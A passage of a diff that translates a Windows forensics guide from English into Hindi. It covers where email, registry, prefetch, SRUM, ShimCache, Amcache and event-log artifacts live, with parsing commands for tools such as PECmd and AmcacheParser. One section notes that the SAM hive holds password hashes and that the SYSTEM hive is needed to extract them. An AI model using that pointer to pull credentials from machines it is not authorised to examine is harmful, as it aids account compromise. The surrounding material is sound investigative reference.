वाली एक स्क्रीनशॉट प्रदान की गई है: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**कार्य के प्रमुख घटक और सेटिंग्स:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: यह DLL वास्तविक सफाई प्रक्रिया के लिए जिम्मेदार है। +- **UseUnifiedSchedulingEngine**: `TRUE` पर सेट, सामान्य कार्य अनुसूची इंजन के उपयोग को इंगित करता है। - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: कार्य शेड्यूलर को नियमित स्वचालित रखरखाव के दौरान मासिक सफाई कार्य शुरू करने के लिए निर्देशित करता है। +- **Deadline ('P2M')**: कार्य शेड्यूलर को निर्देशित करता है, यदि कार्य दो लगातार महीनों के लिए विफल रहता है, तो आपातकालीन स्वचालित रखरखाव के दौरान कार्य को निष्पादित करें। -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +यह कॉन्फ़िगरेशन नियमित रखरखाव और ड्राइवरों की सफाई सुनिश्चित करता है, लगातार विफलताओं के मामले में कार्य को फिर से प्रयास करने के लिए प्रावधानों के साथ। -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**अधिक जानकारी के लिए देखें:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## ईमेल -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +ईमेल में **2 दिलचस्प भाग होते हैं: ईमेल के हेडर और सामग्री**। **हेडर** में आप जानकारी पा सकते हैं जैसे: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **किसने** ईमेल भेजे (ईमेल पता, IP, मेल सर्वर जिन्होंने ईमेल को पुनर्निर्देशित किया) +- **कब** ईमेल भेजा गया था -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +इसके अलावा, `References` और `In-Reply-To` हेडर के अंदर आप संदेशों की ID पा सकते हैं: ![](<../../../images/image (593).png>) -### Windows Mail App +### Windows मेल ऐप -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +यह एप्लिकेशन ईमेल को HTML या टेक्स्ट में सहेजता है। आप ईमेल को `\Users\\AppData\Local\Comms\Unistore\data\3\` के अंदर उपफोल्डरों में पा सकते हैं। ईमेल को `.dat` एक्सटेंशन के साथ सहेजा जाता है। -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +ईमेल और **संपर्कों** का **मेटाडेटा** **EDB डेटाबेस** के अंदर पाया जा सकता है: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**फाइल का एक्सटेंशन** `.vol` से `.edb` में बदलें और आप इसे खोलने के लिए [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) टूल का उपयोग कर सकते हैं। `Message` तालिका के अंदर आप ईमेल देख सकते हैं। ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +जब एक्सचेंज सर्वर या आउटलुक क्लाइंट का उपयोग किया जाता है, तो कुछ MAPI हेडर होंगे: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: समय जब ईमेल भेजा गया था +- `Mapi-Conversation-Index`: थ्रेड के बच्चों के संदेशों की संख्या और थ्रेड के प्रत्येक संदेश का टाइमस्टैम्प +- `Mapi-Entry-ID`: संदेश पहचानकर्ता। +- `Mappi-Message-Flags` और `Pr_last_Verb-Executed`: MAPI क्लाइंट के बारे में जानकारी (संदेश पढ़ा गया? नहीं पढ़ा गया? उत्तर दिया? पुनर्निर्देशित? कार्यालय से बाहर?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlook क्लाइंट में, सभी भेजे गए/प्राप्त संदेश, संपर्क डेटा, और कैलेंडर डेटा PST फ़ाइल में संग्रहीत होते हैं: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +रजिस्ट्री पथ `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` उस फ़ाइल को इंगित करता है जिसका उपयोग किया जा रहा है। -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +आप PST फ़ाइल को [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) टूल का उपयोग करके खोल सकते हैं। ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST फ़ाइलें -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +एक **OST फ़ाइल** Microsoft Outlook द्वारा तब उत्पन्न होती है जब इसे **IMAP** या **एक्सचेंज** सर्वर के साथ कॉन्फ़िगर किया जाता है, जो PST फ़ाइल के समान जानकारी संग्रहीत करती है। यह फ़ाइल सर्वर के साथ समन्वयित होती है, **अंतिम 12 महीनों** के लिए डेटा बनाए रखती है, अधिकतम आकार **50GB** तक, और PST फ़ाइल के समान निर्देशिका में स्थित होती है। OST फ़ाइल देखने के लिए, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग किया जा सकता है। -### Retrieving Attachments +### अटैचमेंट पुनर्प्राप्त करना -Lost attachments might be recoverable from: +खोई हुई अटैचमेंट को पुनर्प्राप्त किया जा सकता है: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10** के लिए: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11 और ऊपर** के लिए: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### थंडरबर्ड MBOX फ़ाइलें -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**थंडरबर्ड** **MBOX फ़ाइलों** का उपयोग डेटा संग्रहीत करने के लिए करता है, जो `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में स्थित होती हैं। -### Image Thumbnails +### छवि थंबनेल -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP और 8-8.1**: थंबनेल के साथ एक फ़ोल्डर को एक्सेस करने से एक `thumbs.db` फ़ाइल उत्पन्न होती है जो छवि पूर्वावलोकन संग्रहीत करती है, यहां तक कि हटाने के बाद भी। +- **Windows 7/10**: `thumbs.db` तब बनाया जाता है जब UNC पथ के माध्यम से नेटवर्क पर एक्सेस किया जाता है। +- **Windows Vista और नए**: थंबनेल पूर्वावलोकन `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` में केंद्रीकृत होते हैं जिनके फ़ाइलें **thumbcache_xxx.db** नाम की होती हैं। [**Thumbsviewer**](https://thumbsviewer.github.io) और [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) इन फ़ाइलों को देखने के लिए उपकरण हैं। -### Windows Registry Information +### Windows रजिस्ट्री जानकारी -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows रजिस्ट्री, जो व्यापक प्रणाली और उपयोगकर्ता गतिविधि डेटा संग्रहीत करती है, निम्नलिखित फ़ाइलों में निहित होती है: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- विभिन्न `HKEY_LOCAL_MACHINE` उपकुंजियों के लिए `%windir%\System32\Config` में। +- `HKEY_CURRENT_USER` के लिए `%UserProfile%{User}\NTUSER.DAT` में। +- Windows Vista और बाद के संस्करण `HKEY_LOCAL_MACHINE` रजिस्ट्री फ़ाइलों का बैकअप `%Windir%\System32\Config\RegBack\` में करते हैं। +- इसके अतिरिक्त, प्रोग्राम निष्पादन की जानकारी `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` में Windows Vista और Windows 2008 Server से आगे संग्रहीत होती है। -### Tools +### उपकरण -Some tools are useful to analyze the registry files: +कुछ उपकरण रजिस्ट्री फ़ाइलों का विश्लेषण करने के लिए उपयोगी हैं: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **रजिस्ट्री संपादक**: यह Windows में स्थापित है। यह वर्तमान सत्र की Windows रजिस्ट्री के माध्यम से नेविगेट करने के लिए एक GUI है। +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): यह आपको रजिस्ट्री फ़ाइल को लोड करने और GUI के साथ उनके माध्यम से नेविगेट करने की अनुमति देता है। इसमें दिलचस्प जानकारी वाले कुंजियों को उजागर करने वाले बुकमार्क भी होते हैं। +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): फिर से, इसमें एक GUI है जो लोड की गई रजिस्ट्री के माध्यम से नेविगेट करने की अनुमति देता है और इसमें प्लगइन्स होते हैं जो लोड की गई रजिस्ट्री के अंदर दिलचस्प जानकारी को उजागर करते हैं। +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): एक और GUI एप्लिकेशन जो लोड की गई रजिस्ट्री से महत्वपूर्ण जानकारी निकालने में सक्षम है। -### Recovering Deleted Element +### हटाए गए तत्व को पुनर्प्राप्त करना -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +जब एक कुंजी को हटाया जाता है, तो इसे इस तरह से चिह्नित किया जाता है, लेकिन जब तक यह स्थान आवश्यक नहीं होता, तब तक इसे हटाया नहीं जाएगा। इसलिए, **Registry Explorer** जैसे उपकरणों का उपयोग करके इन हटाई गई कुंजियों को पुनर्प्राप्त करना संभव है। -### Last Write Time +### अंतिम लेखन समय -Each Key-Value contains a **timestamp** indicating the last time it was modified. +प्रत्येक कुंजी-मूल्य में एक **टाइमस्टैम्प** होता है जो अंतिम बार संशोधित किए जाने का समय इंगित करता है। ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +फ़ाइल/हाइव **SAM** में **उपयोगकर्ताओं, समूहों और उपयोगकर्ताओं के पासवर्ड** हैश होते हैं। -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users` में आप उपयोगकर्ता नाम, RID, अंतिम लॉगिन, अंतिम विफल लॉगिन, लॉगिन काउंटर, पासवर्ड नीति और जब खाता बनाया गया था, प्राप्त कर सकते हैं। **हैश** प्राप्त करने के लिए आपको फ़ाइल/हाइव **SYSTEM** की भी **आवश्यकता** है। -### Interesting entries in the Windows Registry +### Windows रजिस्ट्री में दिलचस्प प्रविष्टियाँ {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## निष्पादित कार्यक्रम -### Basic Windows Processes +### बुनियादी Windows प्रक्रियाएँ -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[इस पोस्ट](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) में आप संदिग्ध व्यवहार का पता लगाने के लिए सामान्य Windows प्रक्रियाओं के बारे में जान सकते हैं। -### Windows Recent APPs +### Windows हाल की ऐप्स -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +रजिस्ट्री `NTUSER.DAT` के अंदर पथ `Software\Microsoft\Current Version\Search\RecentApps` में आप **निष्पादित एप्लिकेशन**, **अंतिम बार** इसे निष्पादित किया गया था, और **कितनी बार** इसे लॉन्च किया गया था, के बारे में जानकारी के साथ उपकुंजियाँ पा सकते हैं। -### BAM (Background Activity Moderator) +### BAM (बैकग्राउंड गतिविधि मॉडरेटर) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +आप रजिस्ट्री संपादक के साथ `SYSTEM` फ़ाइल खोल सकते हैं और पथ `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` के अंदर आप **प्रत्येक उपयोगकर्ता द्वारा निष्पादित एप्लिकेशन** (पथ में `{SID}` नोट करें) और **कब** उन्हें निष्पादित किया गया था, के बारे में जानकारी पा सकते हैं (समय रजिस्ट्री के डेटा मान के अंदर है)। -### Windows Prefetch +### Windows प्रीफेच -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +प्रीफेचिंग एक तकनीक है जो एक कंप्यूटर को चुपचाप **सामग्री प्रदर्शित करने के लिए आवश्यक संसाधनों को लाने** की अनुमति देती है जिसे एक उपयोगकर्ता **निकट भविष्य में एक्सेस कर सकता है** ताकि संसाधनों को तेजी से एक्सेस किया जा सके। -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows प्रीफेच में **निष्पादित कार्यक्रमों के कैश बनाने** की प्रक्रिया होती है ताकि उन्हें तेजी से लोड किया जा सके। ये कैश `.pf` फ़ाइलों के रूप में पथ: `C:\Windows\Prefetch` के अंदर बनाए जाते हैं। XP/VISTA/WIN7 में फ़ाइलों की सीमा 128 है और Win8/Win10 में 1024 फ़ाइलें हैं। -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +फ़ाइल का नाम `{program_name}-{hash}.pf` के रूप में बनाया जाता है (हैश पथ और निष्पादनीय के तर्कों पर आधारित होता है)। W10 में ये फ़ाइलें संकुचित होती हैं। ध्यान दें कि फ़ाइल की केवल उपस्थिति यह संकेत देती है कि **कार्यक्रम को किसी बिंदु पर निष्पादित किया गया था**। -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +फ़ाइल `C:\Windows\Prefetch\Layout.ini` में **प्रीफेच की गई फ़ाइलों के फ़ोल्डरों के नाम** होते हैं। इस फ़ाइल में **निष्पादन की संख्या**, **निष्पादन की तिथियाँ** और **फ़ाइलें** **खुली** होती हैं जो कार्यक्रम द्वारा खोली गई हैं। +इन फ़ाइलों की जांच करने के लिए आप टूल [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) का उपयोग कर सकते हैं: ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** का वही लक्ष्य है जो prefetch का है, **कार्यक्रमों को तेजी से लोड करना** यह अनुमान लगाकर कि अगला क्या लोड होने वाला है। हालाँकि, यह prefetch सेवा का स्थान नहीं लेता।\ +यह सेवा `C:\Windows\Prefetch\Ag*.db` में डेटाबेस फ़ाइलें उत्पन्न करेगी। -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +इन डेटाबेस में आप **कार्यक्रम का नाम**, **कार्यवाही की संख्या**, **खुले फ़ाइलें**, **एक्सेस किया गया वॉल्यूम**, **पूर्ण पथ**, **समय सीमा** और **टाइमस्टैम्प** पा सकते हैं। -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +आप इस जानकारी को [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) उपकरण का उपयोग करके एक्सेस कर सकते हैं। ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **एक प्रक्रिया द्वारा उपभोग किए गए संसाधनों** की **निगरानी** करता है। यह W8 में प्रकट हुआ और यह डेटा को `C:\Windows\System32\sru\SRUDB.dat` में ESE डेटाबेस में संग्रहीत करता है। -It gives the following information: +यह निम्नलिखित जानकारी प्रदान करता है: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID और पथ +- उपयोगकर्ता जिसने प्रक्रिया को निष्पादित किया +- भेजे गए बाइट्स +- प्राप्त बाइट्स +- नेटवर्क इंटरफ़ेस +- कनेक्शन की अवधि +- प्रक्रिया की अवधि -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +यह जानकारी हर 60 मिनट में अपडेट होती है। +आप इस फ़ाइल से डेटा प्राप्त करने के लिए [**srum_dump**](https://github.com/MarkBaggett/srum-dump) उपकरण का उपयोग कर सकते हैं। ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**, जिसे **ShimCache** के नाम से भी जाना जाता है, **Microsoft** द्वारा विकसित **Application Compatibility Database** का एक हिस्सा है, जो एप्लिकेशन संगतता समस्याओं को हल करने के लिए है। यह सिस्टम घटक विभिन्न फ़ाइल मेटाडेटा के टुकड़ों को रिकॉर्ड करता है, जिसमें शामिल हैं: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- फ़ाइल का पूरा पथ +- फ़ाइल का आकार +- **$Standard_Information** (SI) के तहत अंतिम संशोधित समय +- ShimCache का अंतिम अपडेट समय +- प्रक्रिया निष्पादन ध्वज -Such data is stored within the registry at specific locations based on the version of the operating system: +इस तरह का डेटा ऑपरेटिंग सिस्टम के संस्करण के आधार पर विशिष्ट स्थानों पर रजिस्ट्री में संग्रहीत होता है: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XP के लिए, डेटा `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` के तहत संग्रहीत होता है, जिसमें 96 प्रविष्टियों की क्षमता होती है। +- सर्वर 2003 के लिए, साथ ही Windows संस्करण 2008, 2012, 2016, 7, 8, और 10 के लिए, संग्रहण पथ `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` है, जो क्रमशः 512 और 1024 प्रविष्टियों को समायोजित करता है। -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +संग्रहीत जानकारी को पार्स करने के लिए, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) का उपयोग करने की सिफारिश की जाती है। ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** फ़ाइल मूल रूप से एक रजिस्ट्री हाइव है जो सिस्टम पर निष्पादित एप्लिकेशनों के बारे में विवरण लॉग करती है। यह आमतौर पर `C:\Windows\AppCompat\Programas\Amcache.hve` पर पाई जाती है। -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +यह फ़ाइल हाल ही में निष्पादित प्रक्रियाओं के रिकॉर्ड को संग्रहीत करने के लिए उल्लेखनीय है, जिसमें निष्पादन योग्य फ़ाइलों के पथ और उनके SHA1 हैश शामिल हैं। यह जानकारी सिस्टम पर एप्लिकेशनों की गतिविधियों को ट्रैक करने के लिए अमूल्य है। +**Amcache.hve** से डेटा निकालने और विश्लेषण करने के लिए, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool का उपयोग किया जा सकता है। निम्नलिखित कमांड **Amcache.hve** फ़ाइल की सामग्री को पार्स करने और परिणामों को CSV प्रारूप में आउटपुट करने के लिए AmcacheParser का उपयोग करने का एक उदाहरण है: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +उत्पन्न CSV फ़ाइलों में, `Amcache_Unassociated file entries` विशेष रूप से ध्यान देने योग्य है क्योंकि यह असंबंधित फ़ाइल प्रविष्टियों के बारे में समृद्ध जानकारी प्रदान करता है। -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +उत्पन्न सबसे दिलचस्प CVS फ़ाइल `Amcache_Unassociated file entries` है। ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +यह कलाकृति केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाई जा सकती है और इसमें कुछ बाइनरी के हालिया निष्पादन के बारे में जानकारी होती है। -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +आप फ़ाइल को पार्स करने के लिए उपकरण [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) का उपयोग कर सकते हैं। ### Scheduled tasks -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +आप इन्हें `C:\Windows\Tasks` या `C:\Windows\System32\Tasks` से निकाल सकते हैं और XML के रूप में पढ़ सकते हैं। ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +आप इन्हें रजिस्ट्री में `SYSTEM\ControlSet001\Services` के तहत पा सकते हैं। आप देख सकते हैं कि क्या निष्पादित होने वाला है और कब। ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +स्थापित अनुप्रयोग `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।\ +इस भंडार में **लॉग** है जिसमें **प्रत्येक स्थापित अनुप्रयोग** का विवरण है जो सिस्टम के अंदर **`StateRepository-Machine.srd`** डेटाबेस में है। -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +इस डेटाबेस के अनुप्रयोग तालिका के अंदर, "Application ID", "PackageNumber", और "Display Name" जैसे कॉलम पाए जा सकते हैं। ये कॉलम पूर्व-स्थापित और स्थापित अनुप्रयोगों के बारे में जानकारी रखते हैं और यह पता लगाया जा सकता है कि क्या कुछ अनुप्रयोगों को अनइंस्टॉल किया गया था क्योंकि स्थापित अनुप्रयोगों के IDs अनुक्रमिक होने चाहिए। -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +आप रजिस्ट्री पथ में भी **स्थापित अनुप्रयोग** पा सकते हैं: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +और **अनइंस्टॉल** **अनुप्रयोग** में: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Windows घटनाओं के अंदर जो जानकारी दिखाई देती है वह है: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- क्या हुआ +- टाइमस्टैम्प (UTC + 0) +- शामिल उपयोगकर्ता +- शामिल होस्ट (hostname, IP) +- पहुंची गई संपत्तियां (फाइलें, फ़ोल्डर, प्रिंटर, सेवाएं) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +लॉग `C:\Windows\System32\config` में Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित हैं। Windows Vista से पहले, इवेंट लॉग बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं। -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +इवेंट फ़ाइलों का स्थान SYSTEM रजिस्ट्री में **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** में पाया जा सकता है। -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +इन्हें Windows Event Viewer (**`eventvwr.msc`**) से या अन्य उपकरणों जैसे [**Event Log Explorer**](https://eventlogxp.com) **या** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** से देखा जा सकता है।** ## Understanding Windows Security Event Logging -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +एक्सेस इवेंट्स सुरक्षा कॉन्फ़िगरेशन फ़ाइल में दर्ज होते हैं जो `C:\Windows\System32\winevt\Security.evtx` पर स्थित है। इस फ़ाइल का आकार समायोज्य है, और जब इसकी क्षमता पूरी हो जाती है, तो पुराने इवेंट्स को ओवरराइट किया जाता है। दर्ज इवेंट्स में उपयोगकर्ता लॉगिन और लॉगऑफ, उपयोगकर्ता क्रियाएँ, और सुरक्षा सेटिंग्स में परिवर्तन, साथ ही फ़ाइल, फ़ोल्डर, और साझा संपत्ति की पहुंच शामिल होती है। ### Key Event IDs for User Authentication: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: संकेत करता है कि एक 